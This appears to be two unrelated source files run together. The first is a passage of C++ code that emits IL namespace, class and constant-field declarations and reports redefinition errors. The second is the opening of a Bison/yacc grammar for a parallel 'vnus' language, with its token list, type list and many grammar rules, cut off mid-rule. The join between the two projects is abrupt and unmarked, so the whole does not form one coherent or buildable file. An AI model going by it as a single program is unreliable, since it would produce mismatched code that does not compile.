{ m_szIndent[strlen(m_szIndent)-2] = 0; printf("%s} // end of namespace %s\n",m_szIndent,m_szCurrentNS); } if(strlen(pCD->szNamespace)) { printf("%s.namespace %s\n%s{\n",m_szIndent,pCD->szNamespace,m_szIndent); strcat(m_szIndent," "); } strcpy(m_szCurrentNS,pCD->szNamespace); } if(strlen(pCD->szName)) printf("%s.class public value auto autochar sealed %s\n%s{\n",m_szIndent,pCD->szName,m_szIndent); printf((char*)(pCD->bsBody.ptr())); if(strlen(pCD->szName)) printf("%s} // end of class %s\n",m_szIndent,pCD->szName); } delete pCD; } if(strlen(m_szCurrentNS)) { m_szIndent[strlen(m_szIndent)-2] = 0; printf("%s} // end of namespace %s\n",m_szIndent,m_szCurrentNS); } if(strlen(m_szGlobalNS)) printf("} // end of namespace %s\n",m_szGlobalNS); } /********************************************************************************/ void DParse::EmitIntConstant(char* szName, int iValue) { if(success) { VarDescr* pvd; char* szType[] = {"int","float","char str","wchar str"}; if(pvd = FindVar(szName)) { if(pvd->iType != VAR_TYPE_INT) error("Constant '%s' type redefinition %s to int\n",szName,szType[pvd->iType]); else if(pvd->iValue != iValue) error("Constant '%s' redefinition %d to %d\n",szName, pvd->iValue, iValue); } else { AddVar(szName,iValue,VAR_TYPE_INT); ClassDescr *pCD = m_bByName ? ClassQ.PEEK(toupper(*szName)-'A') : ClassQ.PEEK(0); if(pCD) { char sz[1024]; sprintf(sz,"%s.field public static literal int32 %s = int32(0x%X)\n",m_szIndent,::MakeId(szName),(unsigned)iValue); pCD->bsBody.appendStr(sz); } } } delete szName; } /********************************************************************************/ void DParse::EmitFloatConstant(char* szName, float fValue) { if(success) { VarDescr* pvd; int iValue; char* szType[] = {"int","float","char str","wchar str"}; memcpy(&iValue,&fValue,4); if(pvd = FindVar(szName)) { if(pvd->iType != VAR_TYPE_FLOAT) error("Constant '%s' type redefinition %s to float\n",szName,szType[pvd->iType]); else if(pvd->iValue != iValue) error("Constant '%s' redefinition 0x%X to 0x%X\n",szName, (unsigned)(pvd->iValue), (unsigned)iValue); } else { AddVar(szName,iValue,VAR_TYPE_FLOAT); ClassDescr *pCD = m_bByName ? ClassQ.PEEK(toupper(*szName)-'A') : ClassQ.PEEK(0); if(pCD) { char sz[1024]; sprintf(sz,"%s.field public static literal float32 %s = float32(0x%08X)\n",m_szIndent,::MakeId(szName),(unsigned)iValue); pCD->bsBody.appendStr(sz); } } } delete szName; } /********************************************************************************/ void DParse::EmitCharConstant(char* szName, BinStr* pbsValue) { if(success) { VarDescr* pvd; int iValue; char* szType[] = {"int","float","char str","wchar str"}; char* pcValue; pbsValue->appendInt8(0); pcValue = (char*)(pbsValue->ptr()); iValue = (int)pcValue; if(pvd = FindVar(szName)) { if(pvd->iType != VAR_TYPE_CHAR) error("Constant '%s' type redefinition %s to char str\n",szName,szType[pvd->iType]); else if(strcmp((char*)(pvd->iValue),pcValue)) error("Constant '%s' redefinition '%s' to '%s'\n",szName, (char*)(pvd->iValue), pcValue); } else { AddVar(szName,iValue,VAR_TYPE_CHAR); ClassDescr *pCD = m_bByName ? ClassQ.PEEK(toupper(*szName)-'A') : ClassQ.PEEK(0); if(pCD) { char sz[1024]; sprintf(sz,"%s.field public static literal marshal(lpstr) class System.String %s = \"%s\"\n",m_szIndent,::MakeId(szName),pcValue); pCD->bsBody.appendStr(sz); } } } delete szName; } /********************************************************************************/ void DParse::EmitWcharConstant(char* szName, BinStr* pbsValue) { if(success) { VarDescr* pvd; int iValue; char* szType[] = {"int","float","char str","wchar str"}; char* pcValue; pbsValue->appendInt8(0); pcValue = (char*)(pbsValue->ptr()); iValue = (int)pcValue; if(pvd = FindVar(szName)) { if(pvd->iType != VAR_TYPE_WCHAR) error("Constant '%s' type redefinition %s to wchar str\n",szName,szType[pvd->iType]); else if(strcmp((char*)(pvd->iValue),pcValue)) error("Constant '%s' redefinition '%s' to '%s'\n",szName, (char*)(pvd->iValue), pcValue); } else { AddVar(szName,iValue,VAR_TYPE_WCHAR); ClassDescr *pCD = m_bByName ? ClassQ.PEEK(toupper(*szName)-'A') : ClassQ.PEEK(0); if(pCD) { char sz[1024]; sprintf(sz,"%s.field public static literal marshal(lpwstr) class System.String %s = wchar*(\"%s\")\n",m_szIndent,::MakeId(szName),pcValue); pCD->bsBody.appendStr(sz); } } } delete szName; } /********************************************************************************/ VarDescr* DParse::FindVar(char* szName) { VarDescr* pvd; if(m_pVDescr) { for(int j=0; pvd = m_pVDescr->PEEK(j); j++) { if(!strcmp(szName,pvd->szName)) return pvd; } } return NULL; } /********************************************************************************/ int DParse::ResolveVar(char* szName) { VarDescr* pvd; if(pvd = FindVar(szName)) return pvd->iValue; error("Undefined constant '%s'\n",szName); return 0; } /********************************************************************************/ void DParse::AddVar(char* szName, int iVal, int iType) { if(m_pVDescr) { VarDescr* pvd = new VarDescr; strcpy(pvd->szName,szName); pvd->iValue = iVal; pvd->iType = iType; m_pVDescr->PUSH(pvd); } } /**************************************************************************/ ClassDescr* DParse::FindCreateClass(char* szFullName) { char *pN,*pNS; ClassDescr* pCD; if(pN = strrchr(szFullName,'.')) { *pN = 0; pN++; pNS = szFullName; } else { pN = szFullName; pNS = ""; } for(int j=0; pCD = ClassQ.PEEK(j); j++) { if((!strcmp(pNS,pCD->szNamespace))&&(!strcmp(pN,pCD->szName))) return pCD; } pCD = new ClassDescr; strcpy(pCD->szNamespace, pNS); strcpy(pCD->szName,pN); ClassQ.PUSH(pCD); return pCD; } /**************************************************************************/ void DParse::error(char* fmt, ...) { success = false; va_list args; va_start(args, fmt); fprintf(stdout, "// ERROR -- "); vfprintf(stdout, fmt, args); } /**************************************************************************/ void DParse::warn(char* fmt, ...) { //success = false; va_list args; va_start(args, fmt); fprintf(stdout, "// Warning -- "); vfprintf(stdout, fmt, args); } /* #include <stdio.h> int main(int argc, char* argv[]) { printf ("Begining\n"); if (argc != 2) return -1; FileReadStream in(argv[1]); if (!in) { printf("Could not open %s\n", argv[1]); return(-1); } Assembler assem; AsmParse parser(&in, &assem); printf ("Done\n"); return (0); } */ // TODO remove when we use MS_YACC //#undef __cplusplus
%{ #include <stdlib.h> #include <stdio.h> #include <tmc.h> #include <string.h> #include "defs.h" #include "tmadmin.h" #include <vnusctl.h> #include "error.h" #include "lex.h" #include "parser.h" #include "global.h" #include "symbol_table.h" #include "generate.h" #include "service.h" #include "type.h" /* Always allow parse trace, since it is switchable from the * command line. */ #define YYDEBUG 1 /* Current Bison (1.35) refuses to resize the stack when __cplusplus * is defined. Don't ask me why. The only solution is to increase * the initial stack size. */ #define YYINITDEPTH 2000 /* This is only defined because bison.simple assumes it is... */ #define YYMAXDEPTH 20000 static vnusprog result; /* The required error handler for yacc. */ static void yyerror( const char *s ) { if( strcmp( s, "parse error" ) == 0 ){ parserror( "syntax error" ); } else { parserror( s ); } } /* Used to discriminate against fillednew on anything else than a shape */ static bool is_shape_type( type t ) { switch( t->tag ){ case TAGTypeShape: return true; case TAGTypePragmas: return is_shape_type( to_TypePragmas(t)->t ); case TAGTypeMap: return is_shape_type( to_TypeMap(t)->t ); default: break; } return false; } %} /* use sort -b +2 */ %union { BINOP _binop; UNOP _unop; block _block; cardinality _cardinality; cardinality_list _cardinalityList; secondary _secondary; secondary_list _secondaryList; switchCase _switchCase; switchCase_list _switchCaseList; waitCase _waitCase; waitCase_list _waitCaseList; declaration _declaration; declaration_list _declarationList; expression _expression; expression_list _expressionList; field _field; field_list _fieldList; origsymbol _formal; origsymbol_list _formalList; int _int; statement_list _statementList; location _location; optexpression _optexpression; origin _origin; origsymbol _originIdentifier; Pragma _pragma; Pragma_list _pragmaList; size _size; size_list _sizeList; statement _statement; vnus_byte _vnus_byte; vnus_short _vnus_short; vnus_int _vnus_int; vnus_long _vnus_long; vnus_float _vnus_float; vnus_double _vnus_double; vnus_char _vnus_char; vnus_string _vnus_string; tmsymbol _identifier; type _type; type_list _typeList; PragmaExpression _pragmaexpr; PragmaExpression_list _pragmaexprList; } %start program /* The typed tokens first. */ %token <_identifier> IDENTIFIER %token <_vnus_byte> BYTE_LITERAL %token <_vnus_short> SHORT_LITERAL %token <_vnus_int> INT_LITERAL %token <_vnus_float> FLOAT_LITERAL %token <_vnus_double> DOUBLE_LITERAL %token <_vnus_long> LONG_LITERAL %token <_vnus_string> STRING_LITERAL %token <_vnus_char> CHAR_LITERAL %token KEY_ABLOCKRECEIVE %token KEY_ABLOCKSEND %token KEY_ADDTASK %token KEY_AND %token KEY_ARECEIVE %token KEY_ARRAY %token KEY_ASEND %token KEY_ASSIGN %token KEY_ASSIGNOP %token KEY_BARRIER %token KEY_BLOCKRECEIVE %token KEY_BLOCKSEND %token KEY_BOOLEAN %token KEY_BYTE %token KEY_CARDINALITYVARIABLE %token KEY_CAST %token KEY_CATCH %token KEY_CHAR %token KEY_CHECKEDINDEX %token KEY_COMPLEX %token KEY_DECLARATIONS %token KEY_DEFAULT %token KEY_DELETE %token KEY_DONTCARE %token KEY_DOUBLE %token KEY_DOWHILE %token KEY_EACH %token KEY_EMPTY %token KEY_EXECUTETASKS %token KEY_EXPRESSION %token KEY_EXPRESSIONPRAGMA %token KEY_EXTERNALFUNCTION %token KEY_EXTERNALPROCEDURE %token KEY_EXTERNALVARIABLE %token KEY_FALSE %token KEY_FIELD %token KEY_FILLEDNEW %token KEY_FINAL %token KEY_FLOAT %token KEY_FOR %token KEY_FORALL %token KEY_FOREACH %token KEY_FORK %token KEY_FORKALL %token KEY_FORMALVARIABLE %token KEY_FUNCTION %token KEY_FUNCTIONCALL %token KEY_GARBAGECOLLECT %token KEY_GETBUF %token KEY_GETLENGTH %token KEY_GETSIZE %token KEY_GLOBALVARIABLE %token KEY_GOTO %token KEY_IF %token KEY_INT %token KEY_ISRAISED %token KEY_LOCAL %token KEY_LOCALVARIABLE %token KEY_LONG %token KEY_MOD %token KEY_NEW %token KEY_NEWARRAY %token KEY_NEWFILLEDARRAY %token KEY_NEWRECORD %token KEY_NOT %token KEY_NOTNULLASSERT %token KEY_NULL %token KEY_NULLEDNEW %token KEY_OR %token KEY_POINTER %token KEY_PRAGMA %token KEY_PRINT %token KEY_PRINTLN %token KEY_PROCEDURE %token KEY_PROCEDURECALL %token KEY_PROGRAM %token KEY_READONLY %token KEY_RECEIVE %token KEY_RECORD %token KEY_REDUCTION %token KEY_REGISTERTASK %token KEY_RETHROW %token KEY_RETURN %token KEY_SEND %token KEY_SHAPE %token KEY_SHORT %token KEY_SHORTAND %token KEY_SHORTOR %token KEY_SIGNAL %token KEY_SIZEOF %token KEY_STATEMENTS %token KEY_STRING %token KEY_SWITCH %token KEY_THROW %token KEY_TIMEOUT %token KEY_TRUE %token KEY_UNCHECKED %token KEY_VALUE %token KEY_VOLATILE %token KEY_WAIT %token KEY_WAITPENDING %token KEY_WHERE %token KEY_WHILE %token KEY_XOR %token OP_ADDRESS %token OP_DIVIDE %token OP_EQUAL %token OP_GREATER %token OP_GREATEREQUAL %token OP_LESS %token OP_LESSEQUAL %token OP_MINUS %token OP_NEGATE %token OP_NOTEQUAL %token OP_PLUS %token OP_SHIFTLEFT %token OP_SHIFTRIGHT %token OP_TIMES %token OP_USHIFTRIGHT /* use sort -b +2 */ %type <_pragmaexpr> ListPragmaExpression %type <_pragmaexpr> LiteralPragmaExpression %type <_pragmaexpr> NamePragmaExpression %type <_pragmaexpr> PragmaExpression %type <_pragmaexprList> PragmaExpressions %type <_statement> aBlockReceive %type <_statement> aBlockSend %type <_statement> aReceive %type <_statement> aSend %type <_expression> accessExpression %type <_expression> actualParameter %type <_expressionList> actualParameterList %type <_expressionList> actualParameters %type <_statement> addTask %type <_expression> assertExpression %type <_statement> assignment %type <_statement> assignmentop %type <_statement> barrier %type <_type> basetype %type <_binop> binaryOperator %type <_block> block %type <_statement> blockReceive %type <_statement> blockSend %type <_cardinalityList> cardinalities %type <_cardinality> cardinality %type <_cardinalityList> cardinalityList %type <_declaration> cardinalityVariableDeclaration %type <_statement> catch %type <_statement> communication %type <_expression> constructorExpression %type <_statement> control %type <_declaration> declaration %type <_declarationList> declarationList %type <_declarationList> declarations %type <_statement> delete %type <_statement> dowhile %type <_statement> each %type <_statement> empty %type <_statement> executeTasks %type <_expression> expression %type <_expressionList> expressionList %type <_statement> expressionStatement %type <_optexpression> expression_opt %type <_declaration> externalFunctionDeclaration %type <_declaration> externalProcedureDeclaration %type <_declaration> externalVariableDeclaration %type <_field> field %type <_fieldList> fieldList %type <_statement> for %type <_statement> forall %type <_statement> foreach %type <_statement> fork %type <_statement> forkall %type <_formal> formalParameter %type <_formalList> formalParameterList %type <_formalList> formalParameters %type <_declaration> formalVariableDeclaration %type <_declaration> functionDeclaration %type <_statement> garbageCollect %type <_declaration> globalVariableDeclaration %type <_statement> goto %type <_identifier> identifier %type <_statement> if %type <_statement> imperative %type <_originIdentifier> labelName %type <_originIdentifier> label_opt %type <_expression> literalExpression %type <_declaration> localVariableDeclaration %type <_location> location %type <_statement> memoryManagement %type <_expression> miscellaneousExpression %type <_int> modifier %type <_int> modifiers %type <_int> modifiers_opt %type <_expression> operatorExpression %type <_origin> origin %type <_originIdentifier> originIdentifier %type <_originIdentifier> markerName %type <_statement> parallelization %type <_pragma> pragma %type <_pragmaList> pragmaList %type <_pragmaList> pragmas %type <_pragmaList> pragmas_opt %type <_statement> print %type <_statement> println %type <_statement> procedureCall %type <_declaration> procedureDeclaration %type <_statement> receive %type <_declaration> recordDeclaration %type <_statement> registerTask %type <_statement> rethrow %type <_statement> return %type <_declaration> routineDeclaration %type <_expression> routineExpression %type <_identifier> scopename %type <_secondaryList> secondaries %type <_secondaryList> secondariesOpt %type <_secondary> secondary %type <_secondaryList> secondaryList %type <_location> selectionLocation %type <_expression> selector %type <_expressionList> selectorList %type <_expressionList> selectors %type <_statement> send %type <_expression> shapeInfoExpression %type <_size> size %type <_sizeList> sizeList %type <_sizeList> sizes %type <_statement> statement %type <_statementList> statementList %type <_statementList> statements %type <_statement> support %type <_statement> switch %type <_switchCase> switchCase %type <_switchCaseList> switchCaseList %type <_waitCase> waitCase %type <_waitCaseList> waitCaseList %type <_statement> taskparallel %type <_statement> throw %type <_type> type %type <_declaration> typeDeclaration %type <_typeList> typeList %type <_unop> unaryOperator %type <_statement> unlabeledStatement %type <_statement> valueReturn %type <_declaration> variableDeclaration %type <_statement> wait %type <_statement> waitpending %type <_statement> while %% /* Program */ program: KEY_PROGRAM pragmas_opt declarations block { result = new_vnusprog( $2, $3, $4 ); } ; /* Declarations */ commaOpt: /* empty */ | ',' ; declarations: KEY_DECLARATIONS '[' declarationList commaOpt ']' { $$ = $3; } | KEY_DECLARATIONS error ']' { $$ = new_declaration_list(); } ; declarationList: /* empty */ { $$ = new_declaration_list(); } | declaration { $$ = append_declaration_list( new_declaration_list(), $1 ); } | declarationList ',' declaration { $$ = append_declaration_list( $1, $3 ); } | error ',' declaration { $$ = append_declaration_list( new_declaration_list(), $3 ); } ; declaration: routineDeclaration { $$ = $1; } | variableDeclaration { $$ = $1; } | typeDeclaration { $$ = $1; } ; routineDeclaration: functionDeclaration { $$ = $1; } | procedureDeclaration { $$ = $1; } | externalFunctionDeclaration { $$ = $1; } | externalProcedureDeclaration { $$ = $1; } ; variableDeclaration: globalVariableDeclaration { $$ = $1; } | externalVariableDeclaration { $$ = $1; } | cardinalityVariableDeclaration { $$ = $1; } | localVariableDeclaration { $$ = $1; } | formalVariableDeclaration { $$ = $1; } ; typeDeclaration: recordDeclaration { $$ = $1; } ; globalVariableDeclaration: KEY_GLOBALVARIABLE originIdentifier type expression_opt modifiers_opt pragmas_opt { $$ = new_DeclGlobalVariable( $2, $5, $6, $3, $4 ); } ; functionDeclaration: KEY_FUNCTION originIdentifier formalParameters type modifiers_opt pragmas_opt block { $$ = new_DeclFunction( $2, $5, $6, $3, $4, $7 ); } ; procedureDeclaration: KEY_PROCEDURE originIdentifier formalParameters modifiers_opt pragmas_opt block { $$ = new_DeclProcedure( $2, $4, $5, $3, $6 ); } ; localVariableDeclaration: KEY_LOCALVARIABLE originIdentifier scopename type expression_opt modifiers_opt pragmas_opt { $$ = new_DeclLocalVariable( $2, $6, $7, $3, $4, $5 ); } ; formalVariableDeclaration: KEY_FORMALVARIABLE originIdentifier scopename type modifiers_opt pragmas_opt { $$ = new_DeclFormalVariable( $2, $5, $6, $3, $4 ); } ; cardinalityVariableDeclaration: KEY_CARDINALITYVARIABLE originIdentifier modifiers_opt pragmas_opt { $$ = new_DeclCardinalityVariable( $2, $3, $4 ); } ; externalVariableDeclaration: KEY_EXTERNALVARIABLE originIdentifier type modifiers_opt pragmas_opt { $$ = new_DeclExternalVariable( $2, $4, $5, $3 ); } ; externalFunctionDeclaration: KEY_EXTERNALFUNCTION originIdentifier formalParameters type modifiers_opt pragmas_opt { $$ = new_DeclExternalFunction( $2, $5, $6, $3, $4 ); } ; externalProcedureDeclaration: KEY_EXTERNALPROCEDURE originIdentifier formalParameters modifiers_opt pragmas_opt { $$ = new_DeclExternalProcedure( $2, $4, $5, $3 ); } ; recordDeclaration: KEY_RECORD originIdentifier '[' fieldList ']' modifiers_opt pragmas_opt { $$ = new_DeclRecord( $2, $6, $7, $4 ); } ; modifiers_opt: /* empty */ { $$ = 0; } | modifiers { $$ = $1; } ; modifiers: modifier { $$ = $1; } | modifiers modifier { $$ = $1 | $2; } ; modifier: KEY_FINAL { $$ = MOD_FINAL; } | KEY_READONLY { $$ = MOD_READONLY; } | KEY_LOCAL { $$ = MOD_LOCAL; } | KEY_UNCHECKED { $$ = MOD_UNCHECKED; } | KEY_VOLATILE { $$ = MOD_VOLATILE; } ; block: KEY_STATEMENTS scopename origin pragmas_opt statements { $$ = new_block( $2, $3, $4, OwnerExpr_listNIL, $5 ); } | KEY_STATEMENTS origin pragmas_opt statements { $$ = new_block( tmsymbolNIL, $2, $3, OwnerExpr_listNIL, $4 ); } ; statements: '[' statementList commaOpt ']' { $$ = $2; } | error ']' { $$ = new_statement_list(); } ; statementList: /* empty */ { $$ = new_statement_list(); } | statement { $$ = append_statement_list( new_statement_list(), $1 ); } | statementList ',' statement { $$ = append_statement_list( $1, $3 ); } | error ',' statement { $$ = append_statement_list( new_statement_list(), $3 ); } ; statement: label_opt pragmas_opt unlabeledStatement { $$ = $3; $$->label = $1; $$->pragmas = $2; } ; unlabeledStatement: imperative { $$ = $1; } | control { $$ = $1; } | parallelization { $$ = $1; } | communication { $$ = $1; } | memoryManagement { $$ = $1; } | support { $$ = $1; } | taskparallel { $$ = $1; } ; /* Declarations */ formalParameters: '[' formalParameterList commaOpt ']' { $$ = $2; } | '[' error ']' { $$ = new_origsymbol_list(); } ; formalParameterList: /* empty */ { $$ = new_origsymbol_list(); } | formalParameter { $$ = append_origsymbol_list( new_origsymbol_list(), $1 ); } | formalParameterList ',' formalParameter { $$ = append_origsymbol_list( $1, $3 ); } | error ',' formalParameter { $$ = append_origsymbol_list( new_origsymbol_list(), $3 ); } ; formalParameter: originIdentifier { $$ = $1; } ; /* Flow of Control */ control: while { $$ = $1; } | dowhile { $$ = $1; } | for { $$ = $1; } | if { $$ = $1; } | origin block { $$ = new_SmtBlock( origsymbolNIL, $1, Pragma_listNIL, OwnerExpr_listNIL, $2 ); } | switch { $$ = $1; } | wait { $$ = $1; } | return { $$ = $1; } | valueReturn { $$ = $1; } | goto { $$ = $1; } | throw { $$ = $1; } | rethrow { $$ = $1; } | catch { $$ = $1; } ; while: KEY_WHILE origin expression block { $$ = new_SmtWhile( origsymbolNIL, $2, Pragma_listNIL, OwnerExpr_listNIL, $3, $4 ); } ; dowhile: KEY_DOWHILE origin expression block { $$ = new_SmtDoWhile( origsymbolNIL, $2, Pragma_listNIL, OwnerExpr_listNIL, $3, $4 ); } ; for: KEY_FOR origin cardinalities block { $$ = new_SmtFor( origsymbolNIL, $2, Pragma_listNIL, OwnerExpr_listNIL, $3, $4 ); } ; if: KEY_IF origin expression block block { $$ = new_SmtIf( origsymbolNIL, $2, Pragma_listNIL, OwnerExpr_listNIL, $3, $4, $5 ); } ; switch: KEY_SWITCH origin expression '[' switchCaseList commaOpt ']' { $$ = new_SmtSwitch( origsymbolNIL, $2, Pragma_listNIL, OwnerExpr_listNIL, $3, $5 ); } ; return: KEY_RETURN origin { $$ = new_SmtReturn( origsymbolNIL, $2, Pragma_listNIL, OwnerExpr_listNIL ); } ; valueReturn: KEY_RETURN origin expression { $$ = new_SmtValueReturn( origsymbolNIL, $2, Pragma_listNIL, OwnerExpr_listNIL, $3 ); } ; goto: KEY_GOTO origin labelName { $$ = new_SmtGoto( origsymbolNIL, $2, Pragma_listNIL, OwnerExpr_listNIL, $3 ); } ; throw: KEY_THROW origin expression { $$ = new_SmtThrow( origsymbolNIL, $2, Pragma_listNIL, OwnerExpr_listNIL, $3 ); } ; rethrow: KEY_RETHROW origin { $$ = new_SmtRethrow( origsymbolNIL, $2, Pragma_listNIL, OwnerExpr_listNIL ); } ; catch: KEY_CATCH origin formalParameter block block { $$ = new_SmtCatch( origsymbolNIL, $2, Pragma_listNIL, OwnerExpr_listNIL, $3, $4, $5 ); } ; cardinalities: '[' cardinalityList commaOpt ']' { $$ = $2; } | '[' error ']' { $$ = new_cardinality_list(); } ; cardinalityList: /* empty */ { $$ = new_cardinality_list(); } | cardinality { $$ = append_cardinality_list( new_cardinality_list(), $1 ); } | cardinalityList ',' cardinality { $$ = append_cardinality_list( $1, $3 ); } | error ',' cardinality { $$ = append_cardinality_list( new_cardinality_list(), $3 ); } ; cardinality: originIdentifier OP_EQUAL expression ':' expression secondariesOpt { $$ = new_cardinality( $1, $3, $5, new_ExprInt((vnus_int) 1), $6 ); } | originIdentifier OP_EQUAL expression ':' expression ':' expression secondariesOpt { $$ = new_cardinality( $1, $3, $5, $7, $8 ); } | originIdentifier ':' expression secondariesOpt { $$ = new_cardinality( $1, new_ExprInt((vnus_int) 0), $3, new_ExprInt((vnus_int) 1), $4 ); } ; secondariesOpt: /* empty */ { $$ = new_secondary_list(); } | secondaries { $$ = $1; } ; secondaries: '(' secondaryList commaOpt ')' { $$ = $2; } | '(' error ')' { $$ = new_secondary_list(); } ; secondaryList: /* empty */ { $$ = new_secondary_list(); } | secondary { $$ = append_secondary_list( new_secondary_list(), $1 ); } | secondaryList ',' secondary { $$ = append_secondary_list( $1, $3 ); } | error ',' secondary { $$ = append_secondary_list( new_secondary_list(), $3 ); } ; secondary: originIdentifier OP_EQUAL expression ':' expression { $$ = new_secondary( $1, $3, $5 ); } ; switchCaseList: /* empty */ { $$ = new_switchCase_list(); } | switchCase { $$ = append_switchCase_list( new_switchCase_list(), $1 ); } | switchCaseList ',' switchCase { $$ = append_switchCase_list( $1, $3 ); } | error ',' switchCase { $$ = append_switchCase_list( new_switchCase_list(), $3 ); } ; switchCase: '(' INT_LITERAL ',' block ')' { $$ = new_SwitchCaseValue( $4, $2 ); } | '(' KEY_DEFAULT ',' block ')' { $$ = new_SwitchCaseDefault( $4 ); } ; waitCaseList: /* empty */ { $$ = new_waitCase_list(); } | waitCase { $$ = append_waitCase_list( new_waitCase_list(), $1 ); } | waitCaseList ',' waitCase { $$ = append_waitCase_list( $1, $3 ); } | error ',' waitCase { $$ = append_waitCase_list( new_waitCase_list(), $3 ); } ; waitCase: KEY_VALUE expression block { $$ = new_WaitCaseValue( $3, $2 ); } | KEY_TIMEOUT expression block { $$ = new_WaitCaseTimeout( $3, $2 ); } ; /* Parallelization */ parallelization: forall { $$ = $1; } | forkall { $$ = $1; } | fork { $$ = $1; } | foreach { $$ = $1; } | each { $$ = $1; } ; forall: KEY_FORALL origin cardinalities block { $$ = new_SmtForall( origsymbolNIL, $2, Pragma_listNIL, OwnerExpr_listNIL, $3, OwnerExpr_listNIL, $4 ); } ; forkall: KEY_FORKALL origin cardinalities block { $$ = new_SmtForkall( origsymbolNIL, $2, Pragma_listNIL, OwnerExpr_listNIL, $3, OwnerExpr_listNIL, $4 ); } ; fork: KEY_FORK origin '[' statementList commaOpt ']' { $$ = new_SmtFork( origsymbolNIL, $2, Pragma_listNIL, OwnerExpr_listNIL, $4 ); } ; foreach: KEY_FOREACH origin cardinalities block { $$ = new_SmtForeach( origsymbolNIL, $2, Pragma_listNIL, OwnerExpr_listNIL, $3, OwnerExpr_listNIL, $4 ); } ; each: KEY_EACH origin '[' statementList commaOpt ']' { $$ = new_SmtEach( origsymbolNIL, $2, Pragma_listNIL, OwnerExpr_listNIL, $4 ); } ; /* Communication */ communication: barrier { $$ = $1; } | waitpending { $$ = $1; } | send { $$ = $1; } | receive { $$ = $1; } | blockSend { $$ = $1; } | blockReceive { $$ = $1; } | aSend { $$ = $1; } | aReceive { $$ = $1; } | aBlockSend { $$ = $1; } | aBlockReceive { $$ = $1; } ; barrier: KEY_BARRIER origin { $$ = new_SmtBarrier( origsymbolNIL, $2, Pragma_listNIL, OwnerExpr_listNIL ); } ; wait: KEY_WAIT origin '[' waitCaseList commaOpt ']' { $$ = new_SmtWait( origsymbolNIL, $2, Pragma_listNIL, OwnerExpr_listNIL, $4 ); } ; waitpending: KEY_WAITPENDING origin { $$ = new_SmtWaitPending( origsymbolNIL, $2, Pragma_listNIL, OwnerExpr_listNIL ); } ; send: KEY_SEND origin expression expression { $$ = new_SmtSend( origsymbolNIL, $2, Pragma_listNIL, OwnerExpr_listNIL, $3, $4 ); } ; receive: KEY_RECEIVE origin expression location { $$ = new_SmtReceive( origsymbolNIL, $2, Pragma_listNIL, OwnerExpr_listNIL, $3, $4 ); } ; blockSend: /* dest buf nelm */ KEY_BLOCKSEND origin expression expression expression { $$ = new_SmtBlocksend( origsymbolNIL, $2, Pragma_listNIL, OwnerExpr_listNIL, $3, $4, $5 ); } ; blockReceive: /* src buf nelm */ KEY_BLOCKRECEIVE origin expression expression expression { $$ = new_SmtBlockreceive( origsymbolNIL, $2, Pragma_listNIL, OwnerExpr_listNIL, $3, $4, $5 ); } ; aSend: KEY_ASEND origin expression expression { $$ = new_SmtASend( origsymbolNIL, $2, Pragma_listNIL, OwnerExpr_listNIL, $3, $4 ); } ; aReceive: KEY_ARECEIVE origin expression location { $$ = new_SmtAReceive( origsymbolNIL, $2, Pragma_listNIL, OwnerExpr_listNIL, $3, $4 ); } ; aBlockSend: /* dest buf nelm */ KEY_ABLOCKSEND origin expression expression expression { $$ = new_SmtABlocksend( origsymbolNIL, $2, Pragma_listNIL, OwnerExpr_listNIL, $3, $4, $5 ); } ; aBlockReceive: /* src buf nelm */ KEY_ABLOCKRECEIVE origin expression expression expression { $$ = new_SmtABlockreceive( origsymbolNIL, $2, Pragma_listNIL, OwnerExpr_listNIL, $3, $4, $5 ); } ; /* Imperative. */ imperative: assignment { $$ = $1; } | assignmentop { $$ = $1; } | procedureCall { $$ = $1; } | expressionStatement { $$ = $1; } ; assignment: KEY_ASSIGN origin location expression { $$ = new_SmtAssign( origsymbolNIL, $2, Pragma_listNIL, OwnerExpr_listNIL, $3, $4 ); } ; assignmentop: KEY_ASSIGNOP origin location binaryOperator expression { $$ = new_SmtAssignOp( origsymbolNIL, $2, Pragma_listNIL, OwnerExpr_listNIL, $3, $4, $5 ); } ; procedureCall: KEY_PROCEDURECALL origin routineExpression actualParameters { $$ = new_SmtProcedureCall( origsymbolNIL, $2, Pragma_listNIL, OwnerExpr_listNIL, $3, $4 ); } ; expressionStatement: KEY_EXPRESSION origin expression { $$ = new_SmtExpression( origsymbolNIL, $2, Pragma_listNIL, OwnerExpr_listNIL, $3 ); } ; routineExpression: originIdentifier { $$ = new_ExprName( $1 ); } | OP_TIMES expression { $$ = new_ExprDeref( $2 ); } ; /* Memory management. */ memoryManagement: delete { $$ = $1; } | garbageCollect { $$ = $1; } ; delete: KEY_DELETE origin expression { $$ = new_SmtDelete( origsymbolNIL, $2, Pragma_listNIL, OwnerExpr_listNIL, $3 ); } ; garbageCollect: KEY_GARBAGECOLLECT origin { $$ = new_SmtGarbageCollect( origsymbolNIL, $2, Pragma_listNIL, OwnerExpr_listNIL ); } ; /* support */ support: empty { $$ = $1; } | print { $$ = $1; } | println { $$ = $1; } ; empty: KEY_EMPTY origin { $$ = new_SmtEmpty( origsymbolNIL, $2, Pragma_listNIL, OwnerExpr_listNIL ); } ; print: KEY_PRINT origin actualParameters { $$ = new_SmtPrint( origsymbolNIL, $2, Pragma_listNIL, OwnerExpr_listNIL, $3 ); } ; println: KEY_PRINTLN origin actualParameters { $$ = new_SmtPrintLn( origsymbolNIL, $2, Pragma_listNIL, OwnerExpr_listNIL, $3 ); } ; /* Task parallel */ taskparallel: addTask { $$ = $1; } | executeTasks { $$ = $1; } | registerTask { $$ = $1; } ; addTask: KEY_ADDTASK origin expression expression { $$ = new_SmtAddTask( origsymbolNIL, $2, Pragma_listNIL, OwnerExpr_listNIL, $3, $4 ); } ; executeTasks: KEY_EXECUTETASKS origin { $$ = new_SmtExecuteTasks( origsymbolNIL, $2, Pragma_listNIL, OwnerExpr_listNIL ); } ; registerTask: KEY_REGISTERTASK origin expression expression { $$ = new_SmtRegisterTask( origsymbolNIL, $2, Pragma_listNIL, OwnerExpr_listNIL, $3, $4 ); } ; /* Expressions */ location: originIdentifier { $$ = new_LocName( $1 ); } | KEY_FIELD expression originIdentifier { $$ = new_LocField( $2, $3 ); } | KEY_FIELD expression INT_LITERAL { $$ = new_LocFieldNumber( $2, $3 ); } | selectionLocation { $$ = $1; } | KEY_EXPRESSIONPRAGMA pragmas location { $$ = new_LocWrapper( $2, OwnerExpr_listNIL, $3 ); } | OP_TIMES expression { $$ = new_LocDeref( $2 ); } | KEY_WHERE scopename location { $$ = new_LocWhere( $2, $3 ); } ; selectionLocation: '(' expression ',' selectors ')' { $$ = new_LocSelection( $2, $4 ); } ; expression_opt: /* empty. */ { $$ = 